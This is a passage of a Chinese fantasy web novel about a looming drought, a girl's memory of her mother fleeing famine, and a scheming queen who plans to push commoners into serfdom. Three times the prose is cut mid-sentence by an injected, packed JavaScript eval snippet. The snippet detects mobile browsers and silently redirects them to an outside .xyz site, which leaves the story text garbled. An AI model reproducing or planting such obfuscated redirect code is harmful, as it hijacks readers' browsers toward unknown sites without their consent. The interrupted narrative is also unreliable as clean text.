不过,除此之外,时刻保持仪容也是贵族教育的一部分。 像梅拉这样因为太热而把袖子拉到手肘处,长发也胡乱地扎在脑后,大概是礼仪官见了要朝她尖叫的程度。 “没办法,今年的夏季热得太不正常了,简直像是旱灾的前兆。”梅拉瘫在椅子上,声音也变得有气无力的。 莱克斯的心念跟着梅拉的话一动,他其实也隐隐有种不祥的预感。 这样热的天,不说人受不了,地里的作物也同样受不了,极有可能直接被晒死。若是一批又一批的小麦苗、玉米苗被晒死在地里,那等到了秋季,是否还能收获足够王国大多数人熬过一整个严冬的粮食呢? 当然,那些靠近河流的村子还好,能用水车将河水源源不断地引到地里去灌溉。但整个王国中,这样的村子是少数,还都属于靠近王城附近的领地。 如果,如果斐南基依然担任宰相的话,莱克斯倒还没那么担心,但只怕接任他的安东尼奥·裘德未必有体恤平民的想法,只会把为数不多的粮食往贵族们的仓库里搬。 那么为了不使自己及家人被活生生的饿死,平民们将掀起一场怎样的动乱,简直不言而喻。 只不过,事情到底还没来到最糟糕的地步,现在八月刚开了个头,说不定剩下的大半个月会迎来新的变化呢。 比如,忽然下一场大雨降降温。 毕竟上一次王国之中出现大面积的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926187|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旱灾,已经是三十年前的事了,那会儿连梅拉都还没有出生呢。 莱克斯也是通过翻阅王宫中储藏的过往的卷宗,才知道了这么一件事。 说起来,三十年前可真是一个微妙的时间,那会儿莱克斯的祖父,努伦格尔八世将将来到生命的尽头,又忽逢如此严重的灾难,差点被打击得直接躺在床上没了气息。 不过好在王宫里的医士一直照顾在努伦格尔八世的床侧,因此才能及时的将他救了过来。 重新恢复清醒后,努伦格尔八世马上着手解决这场旱灾,只不过他的办法既不是把仓库里多余的粮食发放出去,也不是派大臣们到床前商议主意,而是急匆匆地请了当时的老教皇来到王宫。 据说很快,老教皇便向信众们宣布,发生旱灾的原因是女巫在捣鬼,如果不能抓出女巫,这场灾难永远都不会平息。 所以,当年的旱灾真的是女巫捣的鬼吗? 若是没有与梅拉相处的这些年,莱克斯或许不会对这件事产生怀疑。 现在么,他深深地看了梅拉一眼,没有说话。 “旱灾?什么是旱灾?”塞拉斯发出不解的声音。 它还从没见识过旱灾呢,只是光听这个名字,就觉得害怕。 “旱灾就是河水干涸,露出干裂的河床;地里的庄稼因为缺水而枯死,粮食歉收;人们因为又缺水又缺粮食,饿得皮包骨头,渴得嘴唇裂开,却连血都舔不到。” 梅拉的语调慢悠悠的,神色却说不上轻松,反而变得凝重许多。 谁都不想碰上这种灾难,即使是梅拉也不例外。 莱克斯则有些讶异于她的描述如此清晰,仿佛曾经亲眼所见似的。 可三十年前的旱灾距离梅拉出生,还有整整四年呢。 “梅拉,你怎么好像很清楚旱灾是什么样的样子?难道你见过旱灾吗?”塞拉斯替莱克斯问出了心中的疑问。 梅拉摇头,“我当然没见过了。” “但如果不是因为那场旱灾,我的父亲大概也遇不到逃难而来的母亲了。” 梅拉的母亲,艾尔薇并不是白松镇本地人,她出生在西南边一个子爵的领地内,家里算不上殷实,只不过因为只养了她和弟弟两个孩子,至少每天早晚两顿吃饱肚子不成问题。 然而,突然而至的旱灾打破了艾尔薇原本平静的生活。 关于这场害得她不得不背井离乡,冒着被发现后沦为奴隶的巨大风险,逃到白松镇的灾难,艾尔薇记忆深刻。 时常怀抱着小小的梅拉,断断续续地说了不少她经历过的片段。 每一幕都历历在目,仿佛就发生在昨天似的。 “那时候,你的外祖父,也就是母亲的父亲,打算将母亲卖给一个路过的粮食商人,试图换取一些让他和他的儿子能够活下来的食物。” 艾尔薇温柔地凝视着怀里的小梅拉,手上有一下没一下的拍着她的背。 “然后母亲就逃跑了吗?”小梅拉懵懂地问。 “对啊,否则母亲就要和你外祖母一样,被带到不知道什么地方去了。” 即使提起这样堪称噩梦的事情,艾尔薇的语调依然是轻柔的,仿佛只是单纯的在给女儿说一个睡前故事。 35. 第 35 章 艾尔薇的故事说起来并不算多么惊心动魄,只不过是那场旱灾下的一个小小的缩影罢了。 在这场朝不保夕的灾难中,谁也不知道什么时候就会成为一具躺在枯竭河床上的干尸。 想活下去,并没有错。 但艾尔薇恨的,却是他的父亲为了苟活,竟然将她劳累了小半辈子的母亲卖给了一个过路的商人。 能生下艾尔薇这样远近闻名的大美人,艾尔薇的母亲长得自然也是十分出挑,哪怕从小干着又苦又累的农活,手上布满了冻疮和大大小小的已经愈合的口子,那张生出了好几道皱纹的脸蛋,笑起来依然动人。 也帮艾尔薇的父亲向商人要价时,多要了两大袋土豆。 看着所谓的父亲和弟弟捧着烤熟的土豆吃得喷香,艾尔薇的喉咙口涌上了想要呕吐的欲望,卖掉母亲换来的食物,她一口也吃不下去。 “吃不下去?那就饿着!”艾尔薇的父亲冷笑一声,接着一把夺过她手里的土豆,剥开皮,送进了自己的嘴巴里。 艾尔薇垂下眼帘,遮住眼中嫌恶的情绪,开始在心底打算逃离这个家的可能性。 旱灾不知道何时才能结束,今天她的父亲能卖了她的母亲,明天也能卖了她,艾尔薇决不能就这样坐以待毙等着那一天的到来。 只不过,要逃到哪去呢? 艾尔薇不动声色地留意起村口时不时经过的那些逃难的人们,他们家乡的情况远比艾尔薇所在的这个村子还要糟糕,所以才不得不拖家带口的离开。 艾尔薇从他们的嘴里打探到,他们大多数是从更西边的方向而来,也就是说,西边是绝对不能去了。 至于南边,南边的情况可也算不上好。 听说南边的几个领地都发生了动乱,反正要么饿死要么渴死,还不如豁出一条命去打劫贵族的庄园,只要能抢到一个面包,一瓶葡萄酒,就能见到明天、后天、乃至大后天的太阳升起来。 听到这些消息,艾尔薇捂着干瘪的肚子,在稻草上翻了个身,决定咬牙往北边去。 而两天后,眼看着最后两颗土豆进了父亲和弟弟的嘴里,艾尔薇知道,她的逃跑该提上日程了。 于是趁着父亲偷偷去联系一个粮食商人的机会,艾尔薇用木棍敲晕了守在门外的弟弟,带走了为数不多的几件衣服,大跨步地离开了村子。 鼓动头发和衣袖的风同时也在裹着她不断前行,脚下仿佛生了一双翅膀似的,竟然一路越过了干涸的溪流,爬过了嶙峋的山间,离生养她的村子越来越远,甚至乘着夜色越过了子爵的领地边缘,来到了另一个领主的地盘。 一路上,艾尔薇饿了就摘叶子,用泥土洗一洗虫子和别的东西,再塞进嘴里。植物的根茎里则含着为数不多的汁液,能缓解艾尔薇的口渴。 总之,大概是运气加身,加上艾尔薇一路挑了最荒僻的山间小路行走,竟然一路走到了白松镇附近的山上,却没被任何人逮到踪迹。 这时候,艾尔薇的鞋子都磨破了,头发也乱糟糟地披在身后,浑身带着许久没洗过的臭味。 因此,乍一看见眼前有一条干净的小溪,哪怕溪水只能浅浅地没过她的脚踝,艾尔薇的眼睛仍然一亮。 不过,她警惕地观察过四周,确认附近没有任何危险的动物出没,更没有听到属于人的脚步声后,才放心地脱下罩裙,侧躺在溪边,用手捧起溪水,浇到身上,抹去了累积许久的污垢。 既然好不容易找到了水源,艾尔薇便决定留下来不走了,毕竟她现在和无处可去没有任何区别,还要小心不能让人发现她竟然是个从其它领地逃来的难民,否则将她绑了交给领主,就只有沦为奴隶这一条路可走。 与其这样,艾尔薇宁可因为找不到食物饿死在这座山上。 好在,事情远没有艾尔薇想象的那样糟糕,她不仅找到了一处隐蔽的洞穴,还采到了一串串黄澄澄的果实。 除了让艾尔薇酸得面目扭曲之外,好歹切切实实地填饱了她的肚子。 到了晚上,艾尔薇费力地将一大根缀满叶子的树枝横亘到洞口。 这是她特意找了好久才找到的树枝,能挡住三分之二个洞口,也能防住突如其来闯入的野兽。 这下,艾尔薇总算睡了奔波一个多月以来最好的一觉。 就这样一连过了好几天,艾尔薇差不多彻底适应了在山上的生活,早上,她将树枝移开,到处寻觅能吃的野果和野草,再用叶子包着一包溪水回到山洞里;下午,艾尔薇则到处寻觅野生的苎麻,看看有没有办法做一件新衣服出来。 否则她带走的这几件旧衣服,还不知道能穿多久。 只是,就算寻找到了野生的苎麻,还得经过浸水软化、剥皮等一系列麻烦的功夫,好在这都是艾尔薇在家时做惯了的活计,至少现在她只需要为了自己的生存而干活,而不用为了伺候另外的人被使唤得团团转。 艾尔薇感到了久违的满足。 如果日子能一直这么平静地过下去就好了。她想。 为此,艾尔薇在又一次入睡前选择了向神明祈祷——尽管艾尔薇并不相信教会口中的神明真实存在,否则世上怎么还会有如此多的苦难,但除了神明之外,艾尔薇也不知道自己还能向谁祈祷。 国王?那太遥远了,简直像老掉牙的睡前故事里才能请到的大人物。 领主大人?得了吧,正是因为他每年都要收取高昂的税收,艾尔薇家才永远无法攒够能做小买卖的钱。 父亲?那个本应该被视为家庭中权威的存在,现在一想起他的面孔仍然让艾尔薇几欲作呕。 总之,还是选择最高高在上、也没有切实伤害过她的神明好了。 假如艾尔薇能预料到三天后发生的一切,她大概会告诉现在的自己,瞧,神明果然不存在,你的祈祷并没有生效。 你会在三天后,不小心染上一场风寒,好在暂时只是浑身发冷、四肢乏力,还没到高热的地步。为了避免继续加重病情,趁着还能走动的时候,你试图四处寻找能够治疗风寒的草药,结果因为来不及躲避,撞上了一个陌生的男人,他的名字叫威普多·格荷拉克,是白松镇上一个医士的儿子。 * 天气太热,梅拉难得没有了往日的好食欲,晚上只喝了一大碗番茄浓汤,吃了几个肉丸子。 等到了深夜,月色高悬,小木屋里静悄悄的,几乎落针可闻的时候,摇椅上传来了轻微的摩擦声。 是梅拉小心翼翼地翻了个身。 她捂着有些空虚的肚子,开始后悔晚餐的时候竟然才吃了那么点东西。 这会儿便感觉胃里空荡荡的,十分难捱。 想到这,梅拉悄悄地起身,循着月光来到平时堆放食物的地方,随手一摸,摸出来了一个沾满泥巴的土豆。 算了,换一个,梅拉把土豆丢回去,然后重新摸出来了一个茄子。 梅拉只好又把茄子放回原位。 再掏掏,结果没想到直接掏出了一把辣椒。 哪怕梅拉飞快地松手,手上残留的辣椒味仍然让她呛了好几声,眼泪都快从眼角溢出来了。 好不容易止住咳嗽,梅拉赶紧往塞拉斯的方向看去,很好,塞拉斯一幅睡得正香的模样。 再看睡在另一侧角落的莱克斯,同样面容宁静,似乎沉入了极深的梦境之地。 梅拉于是重新转回来,换了个袋子翻找。 希望这回能找到她想要的,可以直接生吃的东西。 在她的身后,察觉到梅拉的目光从自己的脸上离开,莱克斯悄然将眼睛睁开了一条线。 见梅拉找了半天,一无所获,重新闭上眼的莱克斯开始考虑要不要想办法给她一点提示,比如在她的右侧,挪开最上层的麻袋,底下的木箱子里就装着好几个苹果。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944561|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没等莱克斯想好该如何既不让梅拉发现他早就醒过来,又能作出提醒时,他的鼻子忽然叫人捏住了。 莱克斯猛地睁眼。 对上了梅拉笑眯眯的一张脸。 “你刚才就发现我醒了。”莱克斯笃定地道,只不过因为梅拉没有挪开手,原本低沉华丽的嗓音变得瓮声瓮气的。 逗得梅拉脸上的笑颜加深。 梅拉轻轻哼笑了两声,道出了她的理由,“以你的耳力,这么大的动静还没被我吵醒才奇怪吧?” 梅拉可是早就见识过,十三岁的莱克斯就能听见五十米外小鹿跳过草丛的声音。 因此看到莱克斯睡容宁静的那一刻,梅拉就觉得不对劲。 只不过她故意装作没看出来莱克斯在装睡的样子,自顾自地转了回去,实则等莱克斯重新闭上眼后,再悄无声息地踮着脚尖,摸到了莱克斯身旁。 见莱克斯不装了,梅拉也放开了手,顺便将藏在身后的苹果递到他面前。 她自己也拿着一颗苹果在啃。 莱克斯坐起来,接过了苹果,却只是摩挲着表皮,没有要吃的意思。 梅拉也不管他,如果此刻塞拉斯醒了,她也会给塞拉斯准备一颗苹果的。 听着梅拉坐在自己身边咔嚓咔嚓啃苹果的声音,莱克斯竟然诡异地感觉到了一阵放松。 “你在担心旱灾真的降临吗?”梅拉忽然问。 她总是这么敏锐,仿佛洞察人心是她的本能。 以至于莱克斯偶尔也会想,梅拉没说出的那些话,到底是他掩饰得好,还是梅拉故意装作不知情。 “嗯。”莱克斯轻轻地点头。 “放心吧,你担心也没用,毕竟就算是我也没办法阻止既定的事情发生啊。”梅拉啃完了苹果,提着细细的梗,任剩下的果核慢悠悠地在眼前旋转。 无非是硬着头皮面对罢了。 莱克斯陷入了沉默中。 梅拉勾了勾唇角,“当然,我知道你担心的肯定不是我们在小木屋的生活会受到旱灾的影响。” 如果说有一天旱灾真的来临,哪里能逃过一劫,那大概就是这片广袤的黑暗森林了,这里有丰富的食物,还有密布的水源,怎么也不可能熬不下去。 反倒是王国的其它地方,本就是一大家子在领主手下勉强生存,一旦遇到意外,除了祈求上头那些大人物们的怜悯之外,似乎别无他法。 可是,那些向来漠视平民的贵族们,真的会在意他们的命吗? 成百上千的死人,对贵族们来说或许也算不上什么大事,反正等这些下等人缓过气来,又会开始无穷无尽地生孩子,而他们的孩子,则继续为最上层的贵族们提供优渥的生活。 所以梅拉才说,莱克斯担心也没用,因为比起天灾,真正导致尸横遍野的其实是人祸才对。 如果贵族们愿意省下整宿整宿开舞会倾倒出的葡萄酒,省下摆满一整条长桌的食物,想要让领地内的子民熬过一场旱灾并不困难。 “你说得对。”莱克斯不得不承认,除非他能成为国王,才能将自己的命令说一不二地发布下去,否则即使他仍然留在王宫里,当着尊贵的王储,也不过是眼睁睁地看着悲剧发生,无能为力。 说不定,为了阻止他在大臣们面前露脸,伊莱雅与安东尼奥还要拼了命地反对他的想法。 这会儿没了他作为阻碍,或许伊莱雅会为了给她的儿子造势,实打实地为平民们做点好事呢。 “谢谢你,梅拉。”莱克斯理清思绪,忍不住扭头想要同梅拉道谢。 结果在他沉思的功夫,梅拉早就倒在他的毯子上睡着了。 她的面容沉静,月光越过高挺的鼻梁,爬到背对着莱克斯的这一侧脸颊,照亮了微微颤抖的睫毛。 仿佛正在呼吸的蝴蝶。 叫莱克斯情不自禁地屏住了自己的气息。 36. 第 36 章 时间一眨眼过去了小半个月,酷热愈发加剧。 梅拉站在一汪泉眼前,沉默地注视着它周围晒得边缘都卷曲起来的青苔。 这是一处位于更靠近森林腹地的泉眼,以往总是汨汨地流出清澈的泉水,滋润了周遭成片的鲜绿。 低矮的一丛丛野花;霸道地占据地面,延绵出一大张毛茸茸地毯的苔藓;长着荆棘与倒刺的灌木,以及屹立不倒的巨树……现在野花全凋谢了,苔藓呈现出大片的枯黄,梅拉用脚尖稍稍一划拉,一小块青苔便从土里脱落出来。 干旱越来越严重了。梅拉垂下眼帘。 恰好这时,几只小麻雀成群结队地扑了过来,围住了泉眼,脑袋不停地一点一点,取水喝。 见状,梅拉默默地后退了两步,给它们让出了位置。 算了,梅拉想,还是把这一处水源留给更有需要的动物们吧。 于是她抱着空荡荡的罐子回到了小木屋之中。 小木屋里,莱克斯正好在煮着一锅奶白色的浓汤,夹杂着星星点点的芹叶碎,偶尔有肥厚的肉块随着气泡上下起伏,一看就很香。 见梅拉回来了,莱克斯还以为她打了水回来。 没想到走近一看,罐子里却是空的。 “难道已经干旱到这个地步了吗?”莱克斯的眼中流露出诧异。 除了这附近的水源全都干涸了之外,莱克斯想不到能让梅拉这趟取水跑空的理由。 “停停停,没你想的那么糟糕,我只是突然打算用这个罐子去取点蜂蜜来吃而已。” 梅拉阻止了莱克斯进一步的误会,她拍了拍罐子,响起“梆梆”两声,得意地向莱克斯发出了邀请,“怎么样?下午要不要和我一起去摘蜂巢?” 一般来说,采蜂人需要往腰上绑上结实的绳索,才敢攀爬到高高的树干或是陡峭的山崖上,摘取一整个蜂巢。 但有塞拉斯在,梅拉不仅不用费力气上树,还不用担心被引出来的蜜蜂追赶,蛰得满脸包,只要在树下等着接就好。 然而塞拉斯听到下午梅拉要带它出门,第一反应却是委委屈屈地提出抗议:“这么热的天,塞拉斯不想出门。” 就让塞拉斯继续呆在屋子里吧,它总觉得自己在外头多飞一会儿绝对会中暑的。 “噢?难道塞拉斯不想吃蜂蜜布丁、蜂蜜水果挞、蜂蜜柠檬派吗?”梅拉屈起手指数了数,尽是一些好吃的点心,不怕勾不起塞拉斯肚子里的馋虫。 果然,听了她的话,塞拉斯的语气变得犹豫起来,“……想、想吃的。” “那要不要出门?”梅拉循循善诱。 “出!”塞拉斯眼睛一闭,一口应下,仿佛再慢一会儿就忍不住会反悔似的。 搞定塞拉斯,梅拉看向莱克斯。 这个就不需要她多费口舌了,满意地看着他点了头,梅拉放下罐子,“那等我先去换条裙子。” 莱克斯这才注意到,梅拉墨绿色的裙摆上又沾了许多新鲜的深色斑点。 大概是因为梅拉总是容易发生一些小意外,偶尔还会将墨水瓶打翻在身上,曾经侍女裙子上有一个小小的黑点都忍不住叫她下去换衣服的莱克斯,如今也能对梅拉裙子上的痕迹做到了视而不见的地步。 说起来梅拉也是倒霉,刚才回来的路上不慎踩了一鞋底的泥巴果。 那些不过指甲盖大小的棕褐色果实,从枝条上滴溜溜地滚落一地,与泥土混为一体,一不小心就能让路过的动物中招。 当蹄子踩上去,果实脆弱的表皮破裂,能溅起半米高的汁水,黏糊糊地缠在身上,散发出难闻的土腥味,只有用水才能洗干净。 而梅拉当时一脚踩上去,软趴趴的触感就立刻让她反应过来不对劲,哪怕躲避及时,还是不可避免地弄脏了裙子。 换上干净的裙子,享用过食物,梅拉就带着莱克斯与塞拉斯一起出发了。 既然想采蜜,首先就要找到蜂巢。 然而梅拉抬着头,绕着一棵又一棵树转圈圈,愣是没找到任何可疑的影子。 “奇怪,我明明记得以前这块少说有两到三个蜂巢才对。” 这附近环境开阔,树木高大,又长着好几丛或叫得出名字或干脆没有名字的野花,红的、粉的、黄的,红杜鹃、粉蔷薇、雏菊,大大小小的挂在枝条上,总能吸引不少蜜蜂前来,但是现在梅拉转了一圈又一圈,一只蜜蜂都没看见。 “或许是因为它们都被梅拉你吓跑了吧。”塞拉斯弱弱地点出真相。 谁能受得了天天被人觊觎自己的家呢? 以前梅拉只要馋蜂蜜了,就会到这里来转悠。 她和塞拉斯的配合可以说是天衣无缝。 一个将蜂巢打下来,吸引追赶的蜜蜂,一个趁机捡走空荡荡的流着蜜的蜂巢,一溜烟地跑远了。 最后在小木屋,喝着用水冲开的蜂蜜,一人一鸟美滋滋得不行。 或许一开始,蜜蜂们顶多是自认倒霉,又兢兢业业地重新筑巢,但倒霉的次数多了,任谁都能回过味来,收拾收拾另觅合适的家园。 “好吧,或许你说的没错。”梅拉悻悻地收回视线,转身钻入另一片树林中。 这时候梅拉开始怀念几年前让杜克瓦托带走的那头大黑熊了,当初她就是跟在大黑熊的身后,找到了哪里藏有蜂巢,这会儿让她自己来,简直跟个无头苍蝇一样到处乱转。 “等一下,那个黑影是不是蜂巢?”莱克斯忽然出声。 闻言,不管是站在他前方不远处的梅拉,还是站在他肩膀上的塞拉斯,都立刻循着他的视线望去,在他们斜前方的一棵树上,好像隐隐有一角黑影,像极了蜂巢的样子。 等梅拉先一步走过去,换了好几个角度观察过后,惊讶地发现还真是,只不过它躲得好,大部分巢穴都躲进了树洞里,再加上并没有蜜蜂进进出出,容易让人误以为是早已被抛弃的空巢。 “塞拉斯——”梅拉呼唤了一声。 塞拉斯即刻会意地飞起来,朝着那蜂巢一爪子踹上去,也不管踹没踹掉,接着转身就逃。 蜂群在它的身后组成一条黑色的缎带,嗡嗡声追着它一路远去。 梅拉倒是不担心蜂群能追上塞拉斯,但蜂巢还留在树洞里,需要有人爬上去取。 保险起见,莱克斯拦下了跃跃欲试的梅拉,由他上到了树洞附近。 果然,蜂群留下了几只蜜蜂在盯梢,正绕着蜂巢上下飞舞。 梅拉站在树底下,望见莱克斯折了一根树枝,伸进了树洞里。 下一刻,黑色的圆状物从天而降,梅拉眼疾手快地接住,想也不想扭头就跑。 风随着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953513|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑动绕着发丝打转,拂过脖颈,拂过翻飞的裙摆,却在眨眼间就被她甩在身后。 因为奔跑的动作,汗水密密地沁了一层,划过晕红的脸颊,洇湿布料,梅拉却一面喘气一面忍不住扬起嘴角。 等到重新与塞拉斯和莱克斯汇合,梅拉得意地举了举手中的蜂巢,“走,我们回去先泡壶蜂蜜柠檬水解解渴。” 塞拉斯欢呼一声,它刚才为了躲避蜂群,飞得那叫一个口干舌燥。 莱克斯则整了整有些歪的领口,恢复了一派淡然。 他们走了大概一刻钟左右,便回到了小木屋附近。 只是远远的,梅拉就瞧见了一道熟悉的身影,正站在紧闭的小屋门前,“咦,那不是霍尔吗?” “梅拉小姐!”一直守在门前的霍尔听到脚步声,惊喜地回头,发现果然是梅拉一行。 “霍尔,你怎么来了?”梅拉走到霍尔面前,差点以为自己记错了时间,今天好像不该是霍尔送粮食来的日子没错吧? 如果早知道霍尔会来,她肯定不会带着莱克斯和塞拉斯一起出门的。 提到这个,霍尔挠了挠头,面色有些许凝重,“我是听到了一点风声,然后特意将下个月的粮食提前送过来的。” “哦?难道发生什么事了吗?”梅拉从霍尔的语气中嗅到了不同寻常的味道。 “说发生了什么事,倒也不尽然,只是镇上收粮食的商人忽然变多了。我听人说,这都是拜亚德伯爵的吩咐。再加上这个天气热得让人不安,我就想提前把粮食送过来准没错。”霍尔道。 事关拜亚德伯爵,梅拉看向莱克斯,询问他的看法。 莱克斯沉吟片刻,分析到,“虽然领地中发生的事情,作为领主理应第一时间能够得知其情况,或许拜亚德领其它地方发生了什么你不知道的大事。” “只不过,如果对象是拜亚德的话,我更倾向于他是从王城那边听说了什么消息。” 甚至莱克斯忍不住进一步怀疑,拜亚德是否是通过他的姑姑纳伊芙从王宫内提前探听到了别的动静,导致他开始未雨绸缪提前行动起来。 和莱克斯他们不同,三十年前那场旱灾,无论是努伦格尔九世还是伊莱雅都是亲历者,或许自入夏以来越来越难耐的酷热勾起了谁的警惕也说不定。 “总之你做得对,八月过后,或许会有什么事情将要发生。最好你也提前做些准备,比如将多余的粮食藏起来。”莱克斯顺带提醒到。 “我明白了。”霍尔点头,打算回去就按照莱克斯说的做。 自从上回莱克斯帮着他和乔安妮成功脱离险境,搬到拜亚德领开启了新生活后,霍尔对莱克斯的话再信服不过。 不过霍尔也不是傻子,从莱克斯的态度和他模糊的话语中,他也隐约猜到了一个不好的事实。 霍尔担忧地问梅拉,“是不是将有什么灾难要发生了?” 他希望从擅长预言的女巫口中听到一个否定的答案,告诉他事情远没他想象的那么糟糕。 然而梅拉早已敛起了眼中的笑意,她含糊地答道:“或许吧。无论是否将要发生灾难,至少提前做好准备总是没错的。” 梅拉没说的是,她心中同样有一股不安在蔓延,仿佛她正离什么不好的事情越来越近了。 旱灾,真的会来吗? 37. 第 37 章 高大的洁白廊柱下,精心打理过的玫瑰花丛轻轻摇摆,送来一阵芳香。 造型精致的点心和刚泡好的茶水摆在大理石桌面上,静待享用它们的人前来。 几个侍女守在附近,穿着统一的宫廷制式裙装,那一张张年轻的脸庞哪怕故意严肃地板着,仍然为这王宫一隅的小花园增添了几分属于春天般明媚的气息。 忽然,其中一个人从角落中瞥见有一只蜜蜂摇摇晃晃地想要靠近石桌,赶紧朝身旁的同伴使眼色。 同伴收到她的眼神示意,赶紧看向了另一个人。 一时间,大家纷纷面面相觑,愣是没有谁主动鼓起勇气走出来,前去驱赶那只蜜蜂。 这可不行,最先使眼色的那名侍女暗忖:伊莱雅王后和西维里殿下不知道什么时候会过来,如果让他们恰好撞见这一幕,不管点心和茶水到底有没有被蜜蜂碰过,她们绝对都是要遭殃的。 “珊娜,你去,把蜜蜂赶走。”她开口了,直接点名道姓叫了她们这群侍女中地位最低的珊娜·埃勒里。 作为子爵的女儿,面对其他人,珊娜总是不够有底气。 因此冷不丁听见这道吩咐,即使心中同样害怕自己被蜇,珊娜还是不得不强忍着惧意,走上前去,用袖子挥开这只胆敢靠近石桌的蜜蜂。 好在这只蜜蜂虽然遭到驱赶,却并没有像珊娜担心的那样发怒,而是自顾自地换个方向飞走了。 呼,珊娜心底松了口气,默默地退回了原位。 反而是命令珊娜的那名侍女看起来有些不悦,似乎是因为没见到珊娜丢脸而感到失望。 见状,珊娜微微低下头,假装自己并没有看到这一幕。 同时,她忍不住偷偷怀念起斐南基还在的时候,作为众人公认的贤明宰相,不管是为了讨好他,还是为了别的目的,总之在宫务大臣的眼皮子底下,表面上王宫至少还维持着一派井井有条的秩序,鲜少出现这样互相欺压的情况。 但自从斐南基离开王宫,回到自己的领地后,一切都变了。 曾经服侍过莉莉勒斯王后与莱克斯殿下的宫务大臣恩多鲁被换成了卡威士·贝纳,一个在珊娜看来惯于趋炎附势的小人,他靠着获得了伊莱雅王后的信任一步登天,从一个小小的侍从一跃而至宫务大臣的位置,结果就是只有能够讨好他的人才能获得好差事。 而像珊娜这样性格过于正直的,则成了受排挤的对象。 想起在西维里殿下的新生洗礼当天,无故失踪的莱克斯殿下,珊娜的眼神一暗,偌大的王宫中,想要走丢一个人可不容易,尤其走丢的还是尊贵的王储,未来的王位继承人,其中属于阴谋的味道简直连傻子都闻得出来。 可惜听闻这样的噩耗,努伦格尔九世却没有要追究的意思,只不过派出一队侍从在王城附近随意地找了找。 即使下面的人传来消息说根本找不到有关莱克斯殿下的踪迹,他也没有任何伤心的模样,反而屡屡向大臣们提起小儿子的趣事,明摆着告诉大家,我就是不喜欢莱克斯,更喜欢西维里。 只不过也不知道为什么,以努伦格尔九世对西维里的宠爱,却一直没将他立为新的王储。 珊娜发散的思绪随着一阵突然响起的脚步声收拢回来,原来是伊莱雅带着西维里来了。 他们的身后还跟着十来位侍女,其中有一大半都是负责服侍西维里的人。 对于这个儿子,伊莱雅可以说是把他捧到了手心上,甚至愿意从盘子上拿起一块点心,递到西维里的嘴边,做服侍他的动作。 西维里就着这个姿势吃完了伊莱雅递来的点心,接着迫不及待地告诉她,今天又从老师那学了什么东西。 西维里的老师虽然不是斐南基,但也是伊莱雅精挑细选过后,选定的财务大臣福森·加德纳,他虽然不像斐南基一样得到重用,但能不声不响地管了整个王国的钱袋子十几年,捞了满肚子的油水,就能说明他的本事不一般。 伊莱雅对这个人选很满意。 在听到西维里用稚嫩的童音细细碎碎地说着福森带他学习算术,告诉他去年光是给他做衣服就花了上千枚金币,给他养小马驹又花了数百枚金币时,伊莱雅那双用铅粉描摹得凌厉的眉眼忍不住弯成了温柔的弧度。 “既然这样,那我也来给我的小里尔出道算术题好了。” 西维里顿时睁大眼睛,竖起耳朵认真听伊莱雅接下来要说的话。 “假如一个平民每年能种出十袋粮食的话,我的小里尔知不知道最终王宫的仓库能收到多少袋粮食呢?”伊莱雅摇着手中的绸扇,先问了个简单的问题。 “我知道!”西维里兴奋地答,“按照王国的法律,如果有十袋粮食的话,有六袋要作为税收缴纳给领主,而领主又从这六袋粮食中取出四袋作为税收缴纳给国王。” 也就是说,一个平民只能给王宫的仓库贡献四袋粮食。 想到这,西维里皱了皱他那两条细细的眉毛,有些嫌弃,“怎么会这么少,这些平民为什么不能多种点粮食出来呢?” “是啊,为什么他们不能多种点粮食出来呢?明明我们已经给了他们那么多的土地。”伊莱雅温声附和道,显然很是赞同西维里的观点。 “那么,假如一个平民变成了奴隶,他的土地回到了领主的手中,领主每年能得到九袋粮食的话,是不是就能向我们缴纳六袋粮食了呢?” “是这样没错!母亲母亲,那我们快让更多平民变成奴隶吧,这样我们不就能得到更多的粮食了吗。”西维里天真地道。 伊莱雅笑着摸了摸他的脑袋,夸道,“我的小里尔可真聪明,母亲也是这么想的呢。” 当然,让领主们得到更多的奴隶,好处可不止西维里说的这么点。 譬如一个平民原来要花四十枚铜币才能买一整只鸡来填饱肚子,然而一旦他成为了领主手底下的奴隶,买来的整只鸡就能分给七八个和他差不多的奴隶一起吃。 更重要的是,这样一来,就再也没有人会因为一只鸡要花四十枚铜币来买而对安东尼奥感到不满,从而怂恿努伦格尔九世将斐南基给请回来。 要知道当初为了让斐南基离开王宫,伊莱雅付出了太多的努力,她决不允许将好不容易给她家族里的兄弟抢来的宰相位子又还回去。 想到这,伊莱雅摇着绸扇的动作顿了顿,眼神重新变得凌厉起来。 * “你在画什么呢?” 